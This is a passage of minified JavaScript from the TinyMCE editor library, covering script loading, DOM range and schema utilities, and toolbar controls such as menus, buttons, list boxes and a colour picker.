h})}if(k.entity_encoding.indexOf("numeric")!=-1){m=m.replace(/[\u007E-\uFFFF]/g,function(h){return"&#"+h.charCodeAt(0)+";"})}}return m},_setup:function(){var h=this,i=this.settings;if(h.done){return}h.done=1;h.setRules(i.valid_elements);h.addRules(i.extended_valid_elements);if(i.invalid_elements){h.invalidElementsRE=new RegExp("^("+c(i.invalid_elements.replace(/,/g,"|").toLowerCase())+")$")}if(i.attrib_value_filter){h.attribValueFilter=i.attribValueFilter}},_getAttrib:function(m,j,h){var l,k;h=h||j.name;if(j.forcedVal&&(k=j.forcedVal)){if(k==="{$uid}"){return this.dom.uniqueId()}return k}k=this.dom.getAttrib(m,h);switch(h){case"rowspan":case"colspan":if(k=="1"){k=""}break}if(this.attribValueFilter){k=this.attribValueFilter(h,k,m)}if(j.validVals){for(l=j.validVals.length-1;l>=0;l--){if(k==j.validVals[l]){break}}if(l==-1){return null}}if(k===""&&typeof(j.defaultVal)!="undefined"){k=j.defaultVal;if(k==="{$uid}"){return this.dom.uniqueId()}return k}else{if(h=="class"&&this.processObj.get){k=k.replace(/\s?mceItem\w+\s?/g,"")}}if(k===""){return null}return k}})})(tinymce);(function(a){a.dom.ScriptLoader=function(h){var c=0,k=1,i=2,l={},j=[],f={},d=[],g=0,e;function b(m,u){var v=this,q=a.DOM,s,o,r,n;function p(){q.remove(n);if(s){s.onreadystatechange=s.onload=s=null}u()}n=q.uniqueId();if(a.isIE6){o=new a.util.URI(m);r=location;if(o.host==r.hostname&&o.port==r.port&&(o.protocol+":")==r.protocol){a.util.XHR.send({url:a._addVer(o.getURI()),success:function(x){var t=q.create("script",{type:"text/javascript"});t.text=x;document.getElementsByTagName("head")[0].appendChild(t);q.remove(t);p()}});return}}s=q.create("script",{id:n,type:"text/javascript",src:a._addVer(m)});s.onload=p;s.onreadystatechange=function(){var t=s.readyState;if(t=="complete"||t=="loaded"){p()}};(document.getElementsByTagName("head")[0]||document.body).appendChild(s)}this.isDone=function(m){return l[m]==i};this.markDone=function(m){l[m]=i};this.add=this.load=function(m,q,n){var o,p=l[m];if(p==e){j.push(m);l[m]=c}if(q){if(!f[m]){f[m]=[]}f[m].push({func:q,scope:n||this})}};this.loadQueue=function(n,m){this.loadScripts(j,n,m)};this.loadScripts=function(m,q,p){var o;function n(r){a.each(f[r],function(s){s.func.call(s.scope)});f[r]=e}d.push({func:q,scope:p||this});o=function(){var r=a.grep(m);m.length=0;a.each(r,function(s){if(l[s]==i){n(s);return}if(l[s]!=k){l[s]=k;g++;b(s,function(){l[s]=i;g--;n(s);o()})}});if(!g){a.each(d,function(s){s.func.call(s.scope)});d.length=0}};o()}};a.ScriptLoader=new a.dom.ScriptLoader()})(tinymce);tinymce.dom.TreeWalker=function(a,c){var b=a;function d(i,f,e,j){var h,g;if(i){if(!j&&i[f]){return i[f]}if(i!=c){h=i[e];if(h){return h}for(g=i.parentNode;g&&g!=c;g=g.parentNode){h=g[e];if(h){return h}}}}}this.current=function(){return b};this.next=function(e){return(b=d(b,"firstChild","nextSibling",e))};this.prev=function(e){return(b=d(b,"lastChild","lastSibling",e))}};(function(){var a={};function b(f,e){var d;function c(g){return g.replace(/[A-Z]+/g,function(h){return c(f[h])})}for(d in f){if(f.hasOwnProperty(d)){f[d]=c(f[d])}}c(e).replace(/#/g,"#text").replace(/(\w+)\[([^\]]+)\]/g,function(l,g,j){var h,k={};j=j.split(/\|/);for(h=j.length-1;h>=0;h--){k[j[h]]=1}a[g]=k})}b({Z:"#|H|K|N|O|P",Y:"#|X|form|R|Q",X:"p|T|div|U|W|isindex|fieldset|table",W:"pre|hr|blockquote|address|center|noframes",U:"ul|ol|dl|menu|dir",ZC:"#|p|Y|div|U|W|table|br|span|bdo|object|applet|img|map|K|N|Q",T:"h1|h2|h3|h4|h5|h6",ZB:"#|X|S|Q",S:"R|P",ZA:"#|a|G|J|M|O|P",R:"#|a|H|K|N|O",Q:"noscript|P",P:"ins|del|script",O:"input|select|textarea|label|button",N:"M|L",M:"em|strong|dfn|code|q|samp|kbd|var|cite|abbr|acronym",L:"sub|sup",K:"J|I",J:"tt|i|b|u|s|strike",I:"big|small|font|basefont",H:"G|F",G:"br|span|bdo",F:"object|applet|img|map|iframe"},"script[]style[]object[#|param|X|form|a|H|K|N|O|Q]param[]p[S]a[Z]br[]span[S]bdo[S]applet[#|param|X|form|a|H|K|N|O|Q]h1[S]img[]map[X|form|Q|area]h2[S]iframe[#|X|form|a|H|K|N|O|Q]h3[S]tt[S]i[S]b[S]u[S]s[S]strike[S]big[S]small[S]font[S]basefont[]em[S]strong[S]dfn[S]code[S]q[S]samp[S]kbd[S]var[S]cite[S]abbr[S]acronym[S]sub[S]sup[S]input[]select[optgroup|option]optgroup[option]option[]textarea[]label[S]button[#|p|T|div|U|W|table|G|object|applet|img|map|K|N|Q]h4[S]ins[#|X|form|a|H|K|N|O|Q]h5[S]del[#|X|form|a|H|K|N|O|Q]h6[S]div[#|X|form|a|H|K|N|O|Q]ul[li]li[#|X|form|a|H|K|N|O|Q]ol[li]dl[dt|dd]dt[S]dd[#|X|form|a|H|K|N|O|Q]menu[li]dir[li]pre[ZA]hr[]blockquote[#|X|form|a|H|K|N|O|Q]address[S|p]center[#|X|form|a|H|K|N|O|Q]noframes[#|X|form|a|H|K|N|O|Q]isindex[]fieldset[#|legend|X|form|a|H|K|N|O|Q]legend[S]table[caption|col|colgroup|thead|tfoot|tbody|tr]caption[S]col[]colgroup[col]thead[tr]tr[th|td]th[#|X|form|a|H|K|N|O|Q]form[#|X|a|H|K|N|O|Q]noscript[#|X|form|a|H|K|N|O|Q]td[#|X|form|a|H|K|N|O|Q]tfoot[tr]tbody[tr]area[]base[]body[#|X|form|a|H|K|N|O|Q]");tinymce.dom.Schema=function(){var c=this,d=a;c.isValid=function(f,e){var g=d[f];return !!(g&&(!e||g[e]))}}})();(function(a){a.dom.RangeUtils=function(c){var b="\uFEFF";this.walk=function(d,r){var h=d.startContainer,k=d.startOffset,s=d.endContainer,l=d.endOffset,i,f,n,g,q,p,e;e=c.select("td.mceSelected,th.mceSelected");if(e.length>0){a.each(e,function(t){r([t])});return}function o(v,u,t){var x=[];for(;v&&v!=t;v=v[u]){x.push(v)}return x}function m(u,t){do{if(u.parentNode==t){return u}u=u.parentNode}while(u)}function j(v,u,x){var t=x?"nextSibling":"previousSibling";for(g=v,q=g.parentNode;g&&g!=u;g=q){q=g.parentNode;p=o(g==v?g:g[t],t);if(p.length){if(!x){p.reverse()}r(p)}}}if(h.nodeType==1&&h.hasChildNodes()){h=h.childNodes[k]}if(s.nodeType==1&&s.hasChildNodes()){s=s.childNodes[Math.min(k==l?l:l-1,s.childNodes.length-1)]}i=c.findCommonAncestor(h,s);if(h==s){return r([h])}for(g=h;g;g=g.parentNode){if(g==s){return j(h,i,true)}if(g==i){break}}for(g=s;g;g=g.parentNode){if(g==h){return j(s,i)}if(g==i){break}}f=m(h,i)||h;n=m(s,i)||s;j(h,f,true);p=o(f==h?f:f.nextSibling,"nextSibling",n==s?n.nextSibling:n);if(p.length){r(p)}j(s,n)}};a.dom.RangeUtils.compareRanges=function(c,b){if(c&&b){if(c.item||c.duplicate){if(c.item&&b.item&&c.item(0)===b.item(0)){return true}if(c.isEqual&&b.isEqual&&b.isEqual(c)){return true}}else{return c.startContainer==b.startContainer&&c.startOffset==b.startOffset}}return false}})(tinymce);(function(c){var b=c.DOM,a=c.is;c.create("tinymce.ui.Control",{Control:function(e,d){this.id=e;this.settings=d=d||{};this.rendered=false;this.onRender=new c.util.Dispatcher(this);this.classPrefix="";this.scope=d.scope||this;this.disabled=0;this.active=0},setDisabled:function(d){var f;if(d!=this.disabled){f=b.get(this.id);if(f&&this.settings.unavailable_prefix){if(d){this.prevTitle=f.title;f.title=this.settings.unavailable_prefix+": "+f.title}else{f.title=this.prevTitle}}this.setState("Disabled",d);this.setState("Enabled",!d);this.disabled=d}},isDisabled:function(){return this.disabled},setActive:function(d){if(d!=this.active){this.setState("Active",d);this.active=d}},isActive:function(){return this.active},setState:function(f,d){var e=b.get(this.id);f=this.classPrefix+f;if(d){b.addClass(e,f)}else{b.removeClass(e,f)}},isRendered:function(){return this.rendered},renderHTML:function(){},renderTo:function(d){b.setHTML(d,this.renderHTML())},postRender:function(){var e=this,d;if(a(e.disabled)){d=e.disabled;e.disabled=-1;e.setDisabled(d)}if(a(e.active)){d=e.active;e.active=-1;e.setActive(d)}},remove:function(){b.remove(this.id);this.destroy()},destroy:function(){c.dom.Event.clear(this.id)}})})(tinymce);tinymce.create("tinymce.ui.Container:tinymce.ui.Control",{Container:function(b,a){this.parent(b,a);this.controls=[];this.lookup={}},add:function(a){this.lookup[a.id]=a;this.controls.push(a);return a},get:function(a){return this.lookup[a]}});tinymce.create("tinymce.ui.Separator:tinymce.ui.Control",{Separator:function(b,a){this.parent(b,a);this.classPrefix="mceSeparator"},renderHTML:function(){return tinymce.DOM.createHTML("span",{"class":this.classPrefix})}});(function(d){var c=d.is,b=d.DOM,e=d.each,a=d.walk;d.create("tinymce.ui.MenuItem:tinymce.ui.Control",{MenuItem:function(g,f){this.parent(g,f);this.classPrefix="mceMenuItem"},setSelected:function(f){this.setState("Selected",f);this.selected=f},isSelected:function(){return this.selected},postRender:function(){var f=this;f.parent();if(c(f.selected)){f.setSelected(f.selected)}}})})(tinymce);(function(d){var c=d.is,b=d.DOM,e=d.each,a=d.walk;d.create("tinymce.ui.Menu:tinymce.ui.MenuItem",{Menu:function(h,g){var f=this;f.parent(h,g);f.items={};f.collapsed=false;f.menuCount=0;f.onAddItem=new d.util.Dispatcher(this)},expand:function(g){var f=this;if(g){a(f,function(h){if(h.expand){h.expand()}},"items",f)}f.collapsed=false},collapse:function(g){var f=this;if(g){a(f,function(h){if(h.collapse){h.collapse()}},"items",f)}f.collapsed=true},isCollapsed:function(){return this.collapsed},add:function(f){if(!f.settings){f=new d.ui.MenuItem(f.id||b.uniqueId(),f)}this.onAddItem.dispatch(this,f);return this.items[f.id]=f},addSeparator:function(){return this.add({separator:true})},addMenu:function(f){if(!f.collapse){f=this.createMenu(f)}this.menuCount++;return this.add(f)},hasMenus:function(){return this.menuCount!==0},remove:function(f){delete this.items[f.id]},removeAll:function(){var f=this;a(f,function(g){if(g.removeAll){g.removeAll()}else{g.remove()}g.destroy()},"items",f);f.items={}},createMenu:function(g){var f=new d.ui.Menu(g.id||b.uniqueId(),g);f.onAddItem.add(this.onAddItem.dispatch,this.onAddItem);return f}})})(tinymce);(function(e){var d=e.is,c=e.DOM,f=e.each,a=e.dom.Event,b=e.dom.Element;e.create("tinymce.ui.DropMenu:tinymce.ui.Menu",{DropMenu:function(h,g){g=g||{};g.container=g.container||c.doc.body;g.offset_x=g.offset_x||0;g.offset_y=g.offset_y||0;g.vp_offset_x=g.vp_offset_x||0;g.vp_offset_y=g.vp_offset_y||0;if(d(g.icons)&&!g.icons){g["class"]+=" mceNoIcons"}this.parent(h,g);this.onShowMenu=new e.util.Dispatcher(this);this.onHideMenu=new e.util.Dispatcher(this);this.classPrefix="mceMenu"},createMenu:function(j){var h=this,i=h.settings,g;j.container=j.container||i.container;j.parent=h;j.constrain=j.constrain||i.constrain;j["class"]=j["class"]||i["class"];j.vp_offset_x=j.vp_offset_x||i.vp_offset_x;j.vp_offset_y=j.vp_offset_y||i.vp_offset_y;g=new e.ui.DropMenu(j.id||c.uniqueId(),j);g.onAddItem.add(h.onAddItem.dispatch,h.onAddItem);return g},update:function(){var i=this,j=i.settings,g=c.get("menu_"+i.id+"_tbl"),l=c.get("menu_"+i.id+"_co"),h,k;h=j.max_width?Math.min(g.clientWidth,j.max_width):g.clientWidth;k=j.max_height?Math.min(g.clientHeight,j.max_height):g.clientHeight;if(!c.boxModel){i.element.setStyles({width:h+2,height:k+2})}else{i.element.setStyles({width:h,height:k})}if(j.max_width){c.setStyle(l,"width",h)}if(j.max_height){c.setStyle(l,"height",k);if(g.clientHeight<j.max_height){c.setStyle(l,"overflow","hidden")}}},showMenu:function(p,n,r){var z=this,A=z.settings,o,g=c.getViewPort(),u,l,v,q,i=2,k,j,m=z.classPrefix;z.collapse(1);if(z.isMenuVisible){return}if(!z.rendered){o=c.add(z.settings.container,z.renderNode());f(z.items,function(h){h.postRender()});z.element=new b("menu_"+z.id,{blocker:1,container:A.container})}else{o=c.get("menu_"+z.id)}if(!e.isOpera){c.setStyles(o,{left:-65535,top:-65535})}c.show(o);z.update();p+=A.offset_x||0;n+=A.offset_y||0;g.w-=4;g.h-=4;if(A.constrain){u=o.clientWidth-i;l=o.clientHeight-i;v=g.x+g.w;q=g.y+g.h;if((p+A.vp_offset_x+u)>v){p=r?r-u:Math.max(0,(v-A.vp_offset_x)-u)}if((n+A.vp_offset_y+l)>q){n=Math.max(0,(q-A.vp_offset_y)-l)}}c.setStyles(o,{left:p,top:n});z.element.update();z.isMenuVisible=1;z.mouseClickFunc=a.add(o,"click",function(s){var h;s=s.target;if(s&&(s=c.getParent(s,"tr"))&&!c.hasClass(s,m+"ItemSub")){h=z.items[s.id];if(h.isDisabled()){return}k=z;while(k){if(k.hideMenu){k.hideMenu()}k=k.settings.parent}if(h.settings.onclick){h.settings.onclick(s)}return a.cancel(s)}});if(z.hasMenus()){z.mouseOverFunc=a.add(o,"mouseover",function(x){var h,t,s;x=x.target;if(x&&(x=c.getParent(x,"tr"))){h=z.items[x.id];if(z.lastMenu){z.lastMenu.collapse(1)}if(h.isDisabled()){return}if(x&&c.hasClass(x,m+"ItemSub")){t=c.getRect(x);h.showMenu((t.x+t.w-i),t.y-i,t.x);z.lastMenu=h;c.addClass(c.get(h.id).firstChild,m+"ItemActive")}}})}z.onShowMenu.dispatch(z);if(A.keyboard_focus){a.add(o,"keydown",z._keyHandler,z);c.select("a","menu_"+z.id)[0].focus();z._focusIdx=0}},hideMenu:function(j){var g=this,i=c.get("menu_"+g.id),h;if(!g.isMenuVisible){return}a.remove(i,"mouseover",g.mouseOverFunc);a.remove(i,"click",g.mouseClickFunc);a.remove(i,"keydown",g._keyHandler);c.hide(i);g.isMenuVisible=0;if(!j){g.collapse(1)}if(g.element){g.element.hide()}if(h=c.get(g.id)){c.removeClass(h.firstChild,g.classPrefix+"ItemActive")}g.onHideMenu.dispatch(g)},add:function(i){var g=this,h;i=g.parent(i);if(g.isRendered&&(h=c.get("menu_"+g.id))){g._add(c.select("tbody",h)[0],i)}return i},collapse:function(g){this.parent(g);this.hideMenu(1)},remove:function(g){c.remove(g.id);this.destroy();return this.parent(g)},destroy:function(){var g=this,h=c.get("menu_"+g.id);a.remove(h,"mouseover",g.mouseOverFunc);a.remove(h,"click",g.mouseClickFunc);if(g.element){g.element.remove()}c.remove(h)},renderNode:function(){var i=this,j=i.settings,l,h,k,g;g=c.create("div",{id:"menu_"+i.id,"class":j["class"],style:"position:absolute;left:0;top:0;z-index:200000"});k=c.add(g,"div",{id:"menu_"+i.id+"_co","class":i.classPrefix+(j["class"]?" "+j["class"]:"")});i.element=new b("menu_"+i.id,{blocker:1,container:j.container});if(j.menu_line){c.add(k,"span",{"class":i.classPrefix+"Line"})}l=c.add(k,"table",{id:"menu_"+i.id+"_tbl",border:0,cellPadding:0,cellSpacing:0});h=c.add(l,"tbody");f(i.items,function(m){i._add(h,m)});i.rendered=true;return g},_keyHandler:function(j){var i=this,h=j.keyCode;function g(m){var k=i._focusIdx+m,l=c.select("a","menu_"+i.id)[k];if(l){i._focusIdx=k;l.focus()}}switch(h){case 38:g(-1);return;case 40:g(1);return;case 13:return;case 27:return this.hideMenu()}},_add:function(j,h){var i,q=h.settings,p,l,k,m=this.classPrefix,g;if(q.separator){l=c.add(j,"tr",{id:h.id,"class":m+"ItemSeparator"});c.add(l,"td",{"class":m+"ItemSeparator"});if(i=l.previousSibling){c.addClass(i,"mceLast")}return}i=l=c.add(j,"tr",{id:h.id,"class":m+"Item "+m+"ItemEnabled"});i=k=c.add(i,"td");i=p=c.add(i,"a",{href:"javascript:;",onclick:"return false;",onmousedown:"return false;"});c.addClass(k,q["class"]);g=c.add(i,"span",{"class":"mceIcon"+(q.icon?" mce_"+q.icon:"")});if(q.icon_src){c.add(g,"img",{src:q.icon_src})}i=c.add(i,q.element||"span",{"class":"mceText",title:h.settings.title},h.settings.title);if(h.settings.style){c.setAttrib(i,"style",h.settings.style)}if(j.childNodes.length==1){c.addClass(l,"mceFirst")}if((i=l.previousSibling)&&c.hasClass(i,m+"ItemSeparator")){c.addClass(l,"mceFirst")}if(h.collapse){c.addClass(l,m+"ItemSub")}if(i=l.previousSibling){c.removeClass(i,"mceLast")}c.addClass(l,"mceLast")}})})(tinymce);(function(b){var a=b.DOM;b.create("tinymce.ui.Button:tinymce.ui.Control",{Button:function(d,c){this.parent(d,c);this.classPrefix="mceButton"},renderHTML:function(){var f=this.classPrefix,e=this.settings,d,c;c=a.encode(e.label||"");d='<a id="'+this.id+'" href="javascript:;" class="'+f+" "+f+"Enabled "+e["class"]+(c?" "+f+"Labeled":"")+'" onmousedown="return false;" onclick="return false;" title="'+a.encode(e.title)+'">';if(e.image){d+='<img class="mceIcon" src="'+e.image+'" />'+c+"</a>"}else{d+='<span class="mceIcon '+e["class"]+'"></span>'+(c?'<span class="'+f+'Label">'+c+"</span>":"")+"</a>"}return d},postRender:function(){var c=this,d=c.settings;b.dom.Event.add(c.id,"click",function(f){if(!c.isDisabled()){return d.onclick.call(d.scope,f)}})}})})(tinymce);(function(d){var c=d.DOM,b=d.dom.Event,e=d.each,a=d.util.Dispatcher;d.create("tinymce.ui.ListBox:tinymce.ui.Control",{ListBox:function(h,g){var f=this;f.parent(h,g);f.items=[];f.onChange=new a(f);f.onPostRender=new a(f);f.onAdd=new a(f);f.onRenderMenu=new d.util.Dispatcher(this);f.classPrefix="mceListBox"},select:function(h){var g=this,j,i;if(h==undefined){return g.selectByIndex(-1)}if(h&&h.call){i=h}else{i=function(f){return f==h}}if(h!=g.selectedValue){e(g.items,function(k,f){if(i(k.value)){j=1;g.selectByIndex(f);return false}});if(!j){g.selectByIndex(-1)}}},selectByIndex:function(f){var g=this,h,i;if(f!=g.selectedIndex){h=c.get(g.id+"_text");i=g.items[f];if(i){g.selectedValue=i.value;g.selectedIndex=f;c.setHTML(h,c.encode(i.title));c.removeClass(h,"mceTitle")}else{c.setHTML(h,c.encode(g.settings.title));c.addClass(h,"mceTitle");g.selectedValue=g.selectedIndex=null}h=0}},add:function(i,f,h){var g=this;h=h||{};h=d.extend(h,{title:i,value:f});g.items.push(h);g.onAdd.dispatch(g,h)},getLength:function(){return this.items.length},renderHTML:function(){var i="",f=this,g=f.settings,j=f.classPrefix;i='<table id="'+f.id+'" cellpadding="0" cellspacing="0" class="'+j+" "+j+"Enabled"+(g["class"]?(" "+g["class"]):"")+'"><tbody><tr>';i+="<td>"+c.createHTML("a",{id:f.id+"_text",href:"javascript:;","class":"mceText",onclick:"return false;",onmousedown:"return false;"},c.encode(f.settings.title))+"</td>";i+="<td>"+c.createHTML("a",{id:f.id+"_open",tabindex:-1,href:"javascript:;","class":"mceOpen",onclick:"return false;",onmousedown:"return false;"},"<span></span>")+"</td>";i+="</tr></tbody></table>";return i},showMenu:function(){var g=this,j,i,h=c.get(this.id),f;if(g.isDisabled()||g.items.length==0){return}if(g.menu&&g.menu.isMenuVisible){return g.hideMenu()}if(!g.isMenuRendered){g.renderMenu();g.isMenuRendered=true}j=c.getPos(this.settings.menu_container);i=c.getPos(h);f=g.menu;f.settings.offset_x=i.x;f.settings.offset_y=i.y;f.settings.keyboard_focus=!d.isOpera;if(g.oldID){f.items[g.oldID].setSelected(0)}e(g.items,function(k){if(k.value===g.selectedValue){f.items[k.id].setSelected(1);g.oldID=k.id}});f.showMenu(0,h.clientHeight);b.add(c.doc,"mousedown",g.hideMenu,g);c.addClass(g.id,g.classPrefix+"Selected")},hideMenu:function(g){var f=this;if(f.menu&&f.menu.isMenuVisible){if(g&&g.type=="mousedown"&&(g.target.id==f.id+"_text"||g.target.id==f.id+"_open")){return}if(!g||!c.getParent(g.target,".mceMenu")){c.removeClass(f.id,f.classPrefix+"Selected");b.remove(c.doc,"mousedown",f.hideMenu,f);f.menu.hideMenu()}}},renderMenu:function(){var g=this,f;f=g.settings.control_manager.createDropMenu(g.id+"_menu",{menu_line:1,"class":g.classPrefix+"Menu mceNoIcons",max_width:150,max_height:150});f.onHideMenu.add(g.hideMenu,g);f.add({title:g.settings.title,"class":"mceMenuItemTitle",onclick:function(){if(g.settings.onselect("")!==false){g.select("")}}});e(g.items,function(h){if(h.value===undefined){f.add({title:h.title,"class":"mceMenuItemTitle",onclick:function(){if(g.settings.onselect("")!==false){g.select("")}}})}else{h.id=c.uniqueId();h.onclick=function(){if(g.settings.onselect(h.value)!==false){g.select(h.value)}};f.add(h)}});g.onRenderMenu.dispatch(g,f);g.menu=f},postRender:function(){var f=this,g=f.classPrefix;b.add(f.id,"click",f.showMenu,f);b.add(f.id+"_text","focus",function(){if(!f._focused){f.keyDownHandler=b.add(f.id+"_text","keydown",function(k){var h=-1,i,j=k.keyCode;e(f.items,function(l,m){if(f.selectedValue==l.value){h=m}});if(j==38){i=f.items[h-1]}else{if(j==40){i=f.items[h+1]}else{if(j==13){i=f.selectedValue;f.selectedValue=null;f.settings.onselect(i);return b.cancel(k)}}}if(i){f.hideMenu();f.select(i.value)}})}f._focused=1});b.add(f.id+"_text","blur",function(){b.remove(f.id+"_text","keydown",f.keyDownHandler);f._focused=0});if(d.isIE6||!c.boxModel){b.add(f.id,"mouseover",function(){if(!c.hasClass(f.id,g+"Disabled")){c.addClass(f.id,g+"Hover")}});b.add(f.id,"mouseout",function(){if(!c.hasClass(f.id,g+"Disabled")){c.removeClass(f.id,g+"Hover")}})}f.onPostRender.dispatch(f,c.get(f.id))},destroy:function(){this.parent();b.clear(this.id+"_text");b.clear(this.id+"_open")}})})(tinymce);(function(d){var c=d.DOM,b=d.dom.Event,e=d.each,a=d.util.Dispatcher;d.create("tinymce.ui.NativeListBox:tinymce.ui.ListBox",{NativeListBox:function(g,f){this.parent(g,f);this.classPrefix="mceNativeListBox"},setDisabled:function(f){c.get(this.id).disabled=f},isDisabled:function(){return c.get(this.id).disabled},select:function(h){var g=this,j,i;if(h==undefined){return g.selectByIndex(-1)}if(h&&h.call){i=h}else{i=function(f){return f==h}}if(h!=g.selectedValue){e(g.items,function(k,f){if(i(k.value)){j=1;g.selectByIndex(f);return false}});if(!j){g.selectByIndex(-1)}}},selectByIndex:function(f){c.get(this.id).selectedIndex=f+1;this.selectedValue=this.items[f]?this.items[f].value:null},add:function(j,g,f){var i,h=this;f=f||{};f.value=g;if(h.isRendered()){c.add(c.get(this.id),"option",f,j)}i={title:j,value:g,attribs:f};h.items.push(i);h.onAdd.dispatch(h,i)},getLength:function(){return this.items.length},renderHTML:function(){var g,f=this;g=c.createHTML("option",{value:""},"-- "+f.settings.title+" --");e(f.items,function(h){g+=c.createHTML("option",{value:h.value},h.title)});g=c.createHTML("select",{id:f.id,"class":"mceNativeListBox"},g);return g},postRender:function(){var g=this,h;g.rendered=true;function f(j){var i=g.items[j.target.selectedIndex-1];if(i&&(i=i.value)){g.onChange.dispatch(g,i);if(g.settings.onselect){g.settings.onselect(i)}}}b.add(g.id,"change",f);b.add(g.id,"keydown",function(j){var i;b.remove(g.id,"change",h);i=b.add(g.id,"blur",function(){b.add(g.id,"change",f);b.remove(g.id,"blur",i)});if(j.keyCode==13||j.keyCode==32){f(j);return b.cancel(j)}});g.onPostRender.dispatch(g,c.get(g.id))}})})(tinymce);(function(c){var b=c.DOM,a=c.dom.Event,d=c.each;c.create("tinymce.ui.MenuButton:tinymce.ui.Button",{MenuButton:function(f,e){this.parent(f,e);this.onRenderMenu=new c.util.Dispatcher(this);e.menu_container=e.menu_container||b.doc.body},showMenu:function(){var g=this,j,i,h=b.get(g.id),f;if(g.isDisabled()){return}if(!g.isMenuRendered){g.renderMenu();g.isMenuRendered=true}if(g.isMenuVisible){return g.hideMenu()}j=b.getPos(g.settings.menu_container);i=b.getPos(h);f=g.menu;f.settings.offset_x=i.x;f.settings.offset_y=i.y;f.settings.vp_offset_x=i.x;f.settings.vp_offset_y=i.y;f.settings.keyboard_focus=g._focused;f.showMenu(0,h.clientHeight);a.add(b.doc,"mousedown",g.hideMenu,g);g.setState("Selected",1);g.isMenuVisible=1},renderMenu:function(){var f=this,e;e=f.settings.control_manager.createDropMenu(f.id+"_menu",{menu_line:1,"class":this.classPrefix+"Menu",icons:f.settings.icons});e.onHideMenu.add(f.hideMenu,f);f.onRenderMenu.dispatch(f,e);f.menu=e},hideMenu:function(g){var f=this;if(g&&g.type=="mousedown"&&b.getParent(g.target,function(h){return h.id===f.id||h.id===f.id+"_open"})){return}if(!g||!b.getParent(g.target,".mceMenu")){f.setState("Selected",0);a.remove(b.doc,"mousedown",f.hideMenu,f);if(f.menu){f.menu.hideMenu()}}f.isMenuVisible=0},postRender:function(){var e=this,f=e.settings;a.add(e.id,"click",function(){if(!e.isDisabled()){if(f.onclick){f.onclick(e.value)}e.showMenu()}})}})})(tinymce);(function(c){var b=c.DOM,a=c.dom.Event,d=c.each;c.create("tinymce.ui.SplitButton:tinymce.ui.MenuButton",{SplitButton:function(f,e){this.parent(f,e);this.classPrefix="mceSplitButton"},renderHTML:function(){var i,f=this,g=f.settings,e;i="<tbody><tr>";if(g.image){e=b.createHTML("img ",{src:g.image,"class":"mceAction "+g["class"]})}else{e=b.createHTML("span",{"class":"mceAction "+g["class"]},"")}i+="<td>"+b.createHTML("a",{id:f.id+"_action",href:"javascript:;","class":"mceAction "+g["class"],onclick:"return false;",onmousedown:"return false;",title:g.title},e)+"</td>";e=b.createHTML("span",{"class":"mceOpen "+g["class"]});i+="<td>"+b.createHTML("a",{id:f.id+"_open",href:"javascript:;","class":"mceOpen "+g["class"],onclick:"return false;",onmousedown:"return false;",title:g.title},e)+"</td>";i+="</tr></tbody>";return b.createHTML("table",{id:f.id,"class":"mceSplitButton mceSplitButtonEnabled "+g["class"],cellpadding:"0",cellspacing:"0",onmousedown:"return false;",title:g.title},i)},postRender:function(){var e=this,f=e.settings;if(f.onclick){a.add(e.id+"_action","click",function(){if(!e.isDisabled()){f.onclick(e.value)}})}a.add(e.id+"_open","click",e.showMenu,e);a.add(e.id+"_open","focus",function(){e._focused=1});a.add(e.id+"_open","blur",function(){e._focused=0});if(c.isIE6||!b.boxModel){a.add(e.id,"mouseover",function(){if(!b.hasClass(e.id,"mceSplitButtonDisabled")){b.addClass(e.id,"mceSplitButtonHover")}});a.add(e.id,"mouseout",function(){if(!b.hasClass(e.id,"mceSplitButtonDisabled")){b.removeClass(e.id,"mceSplitButtonHover")}})}},destroy:function(){this.parent();a.clear(this.id+"_action");a.clear(this.id+"_open")}})})(tinymce);(function(d){var c=d.DOM,a=d.dom.Event,b=d.is,e=d.each;d.create("tinymce.ui.ColorSplitButton:tinymce.ui.SplitButton",{ColorSplitButton:function(h,g){var f=this;f.parent(h,g);f.settings=g=d.extend({colors:"000000,993300,333300,003300,003366,000080,333399,333333,800000,FF6600,808000,008000,008080,0000FF,666699,808080,FF0000,FF9900,99CC00,339966,33CCCC,3366FF,800080,999999,FF00FF,FFCC00,FFFF00,00FF00,00FFFF,00CCFF,993366,C0C0C0,FF99CC,FFCC99,FFFF99,CCFFCC,CCFFFF,99CCFF,CC99FF,FFFFFF",grid_width:8,default_color:"#888888"},f.settings);f.onShowMenu=new d.util.Dispatcher(f);f.onHideMenu=new d.util.Dispatcher(f);f.value=g.default_color},showMenu:function(){var f=this,g,j,i,h;if(f.isDisabled()){return}if(!f.isMenuRendered){f.renderMenu();f.isMenuRendered=true}if(f.isMenuVisible){return f.hideMenu()}i=c.get(f.id);c.show(f.id+"_menu");c.addClass(i,"mceSplitButtonSelected");h=c.getPos(i);c.setStyles(f.id+"_menu",{left:h.x,top:h.y+i.clientHeight,zIndex:200000});i=0;a.add(c.doc,"mousedown",f.hideMenu,f);f.onShowMenu.dispatch(f);if(f._focused){f._keyHandler=a.add(f.id+"_menu","keydown",function(k){if(k.keyCode==27){f.hideMenu()}});c.select("a",f.id+"_menu")[0].focus()}f.isMenuVisible=1},hideMenu:function(g){var f=this;if(g&&g.type=="mousedown"&&c.getParent(g.target,function(h){return h.id===f.id+"_open"})){return}if(!g||!c.getParent(g.target,".mceSplitButtonMenu")){c.removeClass(f.id,"mceSplitButtonSelected");a.remove(c.doc,"mousedown",f.hideMenu,f);a.remove(f.id+"_menu","keydown",f._keyHandler);c.hide(f.id+"_menu")}f.onHideMenu.dispatch(f);f.isMenuVisible=0},renderMenu:function(){var k=this,f,j=0,l=k.settings,p,h,o,g;g=c.add(l.menu_container,"div",{id:k.id+"_menu","class":l.menu_class+" "+l["class"],style:"position:absolute;left:0;top:-1000px;"});f=c.add(g,"div",{"class":l["class"]+" mceSplitButtonMenu"});c.add(f,"span",{"class":"mceMenuLine"});p=c.add(f,"table",{"class":"mceColorSplitMenu"});h=c.add(p,"tbody");j=0;e(b(l.colors,"array")?l.colors:l.colors.split(","),function(i){i=i.replace(/^#/,"");if(!j--){o=c.add(h,"tr");j=l.grid_width-1}p=c.add(o,"td");p=c.add(p,"a",{href:"javascript:;",style:{backgroundColor:"#"+i},_mce_color:"#"+i})});if(l.more_colors_func){p=c.add(h,"tr");p=c.add(p,"td",{colspan:l.grid_width,"class":"mceMoreColors"});p=c.add(p,"a",{id:k.id+"_more",href:"javascript:;",onclick:"return false;","class":"mceMoreColors"},l.more_colors_title);a.add(p,"click",function(i){l.more_colors_func.call(l.more_colors_scope||this);return a.cancel(i)})}c.addClass(f,"mceColorSplitMenu");a.add(k.id+"_menu","click",function(i){var 